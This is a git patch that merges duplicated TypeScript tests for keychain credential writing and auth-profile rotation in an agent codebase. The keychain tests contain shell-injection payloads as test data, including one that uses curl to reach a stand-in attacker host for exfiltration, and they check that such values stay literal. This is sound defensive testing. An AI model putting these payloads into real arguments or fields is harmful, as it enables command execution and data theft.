From cfb3cee7aac51b1517c7900196e7ca1be6635a27 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Sun, 22 Feb 2026 08:44:35 +0000 Subject: [PATCH] test(core): dedupe auth rotation and credential injection specs --- src/agents/cli-credentials.test.ts | 69 ++++++++----------- ...pi-agent.auth-profile-rotation.e2e.test.ts | 63 ++++++++--------- 2 files changed, 58 insertions(+), 74 deletions(-) diff --git a/src/agents/cli-credentials.test.ts b/src/agents/cli-credentials.test.ts index ec9dc90b2..3c7cf0a1c 100644 --- a/src/agents/cli-credentials.test.ts +++ b/src/agents/cli-credentials.test.ts @@ -90,54 +90,43 @@ describe("cli credentials", () => { expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U"); }); - it("prevents shell injection via malicious OAuth token values", async () => { - const maliciousToken = "x'$(curl attacker.com/exfil)'y"; - - mockExistingClaudeKeychainItem(); - - const ok = writeClaudeCliKeychainCredentials( + it("prevents shell injection via untrusted token payload values", async () => { + const cases = [ { - access: maliciousToken, + access: "x'$(curl attacker.com/exfil)'y", refresh: "safe-refresh", - expires: Date.now() + 60_000, + expectedPayload: "x'$(curl attacker.com/exfil)'y", }, - { execFileSync: execFileSyncMock }, - ); - - expect(ok).toBe(true); - - // The -w argument must contain the malicious string literally, not shell-expanded - const addCall = getAddGenericPasswordCall(); - const args = (addCall?.[1] as string[] | undefined) ?? []; - const wIndex = args.indexOf("-w"); - const passwordValue = args[wIndex + 1]; - expect(passwordValue).toContain(maliciousToken); - // Verify it was passed as a direct argument, not built into a shell command string - expect(addCall?.[0]).toBe("security"); - }); - - it("prevents shell injection via backtick command substitution in tokens", async () => { - const backtickPayload = "token`id`value"; - - mockExistingClaudeKeychainItem(); - - const ok = writeClaudeCliKeychainCredentials( { access: "safe-access", - refresh: backtickPayload, - expires: Date.now() + 60_000, + refresh: "token`id`value", + expectedPayload: "token`id`value", }, - { execFileSync: execFileSyncMock }, - ); + ] as const; - expect(ok).toBe(true); + for (const testCase of cases) { + execFileSyncMock.mockClear(); + mockExistingClaudeKeychainItem(); - // Backtick payload must be passed literally, not interpreted - const addCall = getAddGenericPasswordCall(); - const args = (addCall?.[1] as string[] | undefined) ?? []; - const wIndex = args.indexOf("-w"); - const passwordValue = args[wIndex + 1]; - expect(passwordValue).toContain(backtickPayload); + const ok = writeClaudeCliKeychainCredentials( + { + access: testCase.access, + refresh: testCase.refresh, + expires: Date.now() + 60_000, + }, + { execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // Token payloads must remain literal in argv, never shell-interpreted. + const addCall = getAddGenericPasswordCall(); + const args = (addCall?.[1] as string[] | undefined) ?? []; + const wIndex = args.indexOf("-w"); + const passwordValue = args[wIndex + 1]; + expect(passwordValue).toContain(testCase.expectedPayload); + expect(addCall?.[0]).toBe("security"); + } }); it("falls back to the file store when the keychain update fails", async () => { diff --git a/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts b/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts index 04dcc120b..a2f311ca7 100644 --- a/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts +++ b/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts @@ -272,45 +272,40 @@ async function runTurnWithCooldownSeed(params: { } describe("runEmbeddedPiAgent auth profile rotation", () => { - it("rotates for auto-pinned profiles", async () => { - const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-")); - try { - await writeAuthStore(agentDir); - mockFailedThenSuccessfulAttempt("rate limit"); - await runAutoPinnedOpenAiTurn({ - agentDir, - workspaceDir, + it("rotates for auto-pinned profiles across retryable stream failures", async () => { + const cases = [ + { + errorMessage: "rate limit", sessionKey: "agent:test:auto", runId: "run:auto", - }); - - expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); - await expectProfileP2UsageUpdated(agentDir); - } finally { - await fs.rm(agentDir, { recursive: true, force: true }); - await fs.rm(workspaceDir, { recursive: true, force: true }); - } - }); - - it("rotates when stream ends without sending chunks", async () => { - const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-")); - try { - await writeAuthStore(agentDir); - mockFailedThenSuccessfulAttempt("request ended without sending any chunks"); - await runAutoPinnedOpenAiTurn({ - agentDir, - workspaceDir, + }, + { + errorMessage: "request ended without sending any chunks", sessionKey: "agent:test:empty-chunk-stream", runId: "run:empty-chunk-stream", - }); + }, + ] as const; - expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); - await expectProfileP2UsageUpdated(agentDir); - } finally { - await fs.rm(agentDir, { recursive: true, force: true }); - await fs.rm(workspaceDir, { recursive: true, force: true }); + for (const testCase of cases) { + runEmbeddedAttemptMock.mockClear(); + const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); + const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-")); + try { + await writeAuthStore(agentDir); + mockFailedThenSuccessfulAttempt(testCase.errorMessage); + await runAutoPinnedOpenAiTurn({ + agentDir, + workspaceDir, + sessionKey: testCase.sessionKey, + runId: testCase.runId, + }); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); + await expectProfileP2UsageUpdated(agentDir); + } finally { + await fs.rm(agentDir, { recursive: true, force: true }); + await fs.rm(workspaceDir, { recursive: true, force: true }); + } } });